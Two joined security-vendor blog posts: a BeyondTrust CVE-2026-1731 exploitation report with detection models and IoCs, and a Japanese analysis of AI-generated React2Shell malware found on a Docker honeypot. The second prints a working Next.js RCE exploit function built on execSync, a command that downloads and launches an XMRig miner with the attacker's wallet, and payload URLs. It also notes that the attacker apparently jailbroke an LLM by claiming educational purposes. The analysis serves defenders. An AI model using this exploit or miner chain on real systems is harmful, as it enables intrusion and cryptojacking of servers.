Note: Darktrace's Threat Research team is publishing now to help defenders. We will update continue updating this blog as our investigations unfold.

Background

On February 6, 2026, the Identity & Access Management solution BeyondTrust announced patches for a vulnerability, CVE-2026-1731, which enables unauthenticated remote code execution using specially crafted requests.  This vulnerability affects BeyondTrust Remote Support (RS) and particular older versions of Privileged Remote Access (PRA) [1].

A Proof of Concept (PoC) exploit for this vulnerability was released publicly on February 10, and open-source intelligence (OSINT) reported exploitation attempts within 24 hours [2].

Previous intrusions against Beyond Trust technology have been cited as being affiliated with nation-state attacks, including a 2024 breach targeting the U.S. Treasury Department. This incident led to subsequent emergency directives from  the Cybersecurity and Infrastructure Security Agency (CISA) and later showed attackers had chained previously unknown vulnerabilities to achieve their goals [3].

Additionally, there appears to be infrastructure overlap with React2Shell mass exploitation previously observed by Darktrace, with command-and-control (C2) domain  avg.domaininfo[.]top seen in potential post-exploitation activity for BeyondTrust, as well as in a React2Shell exploitation case involving possible EtherRAT deployment.

Darktrace Detections

Darktrace’s Threat Research team has identified highly anomalous activity across several customers that may relate to exploitation of BeyondTrust since February 10, 2026. Observed activities include:

-              Outbound connections and DNS requests for endpoints associated with Out-of-Band Application Security Testing; these services are commonly abused by threat actors for exploit validation.  Associated Darktrace models include:

o    Compromise / Possible Tunnelling to Bin Services
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-              Suspicious executable file downloads. Associated Darktrace models include:

o    Anomalous File / EXE from Rare External Location
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-              Alerts for the model

o    Compromise / Rare Domain Pointing to Internal IP
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-              Outbound beaconing to rare domains. Associated Darktrace models include:

o   Compromise / Agent Beacon (Medium Period)

o   Compromise / Agent Beacon (Long Period)

o   Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

o   Compromise / Beacon to Young Endpoint

o   Anomalous Server Activity / Rare External from Server

o   Compromise / SSL Beaconing to Rare Destination
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-              Unusual cryptocurrency mining activity. Associated Darktrace models include:

o   Compromise / Monero Mining

o   Compromise / High Priority Crypto Currency Mining

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IT Defenders: As part of best practices, we highly recommend employing an automated containment solution in your environment. For Darktrace customers, please ensure that Autonomous Response is configured correctly. More guidance regarding this activity and suggested actions can be found in the Darktrace Customer Portal.  

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Appendices

Potential indicators of post-exploitation behavior:

·      217.76.57[.]78 – IP address - Likely C2 server

·      hXXp://217.76.57[.]78:8009/index.js - URL -  Likely payload

·      b6a15e1f2f3e1f651a5ad4a18ce39d411d385ac7  - SHA1 - Likely payload

·      195.154.119[.]194 – IP address – Likely C2 server

·      hXXp://195.154.119[.]194/index.js - URL – Likely payload

·      avg.domaininfo[.]top – Hostname – Likely C2 server

·      104.234.174[.]5 – IP address - Possible C2 server

·      35da45aeca4701764eb49185b11ef23432f7162a – SHA1 – Possible payload

·      hXXp://134.122.13[.]34:8979/c - URL – Possible payload

·      134.122.13[.]34 – IP address – Possible C2 server

·      28df16894a6732919c650cc5a3de94e434a81d80 - SHA1 - Possible payload

References:

1.        https://nvd.nist.gov/vuln/detail/CVE-2026-1731

2.        https://www.securityweek.com/beyondtrust-vulnerability-targeted-by-hackers-within-24-hours-of-poc-release/

3.        https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発（“vibecoding”とも呼ばれます）が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

次に、必要な一連のpythonパッケージを次からダウンロードします

• hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

• hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

• hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only（教育/研究目的専用）” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します：

• 念入りに構成されたNext.jsサーバーコンポーネントペイロード
• 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
• 任意のシェルコマンドを実行する子プロセス起動
‍

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

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この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

‍

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン（トランザクションを追跡できずウォレット残高が閲覧できない）が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当：Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ（IoC）

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d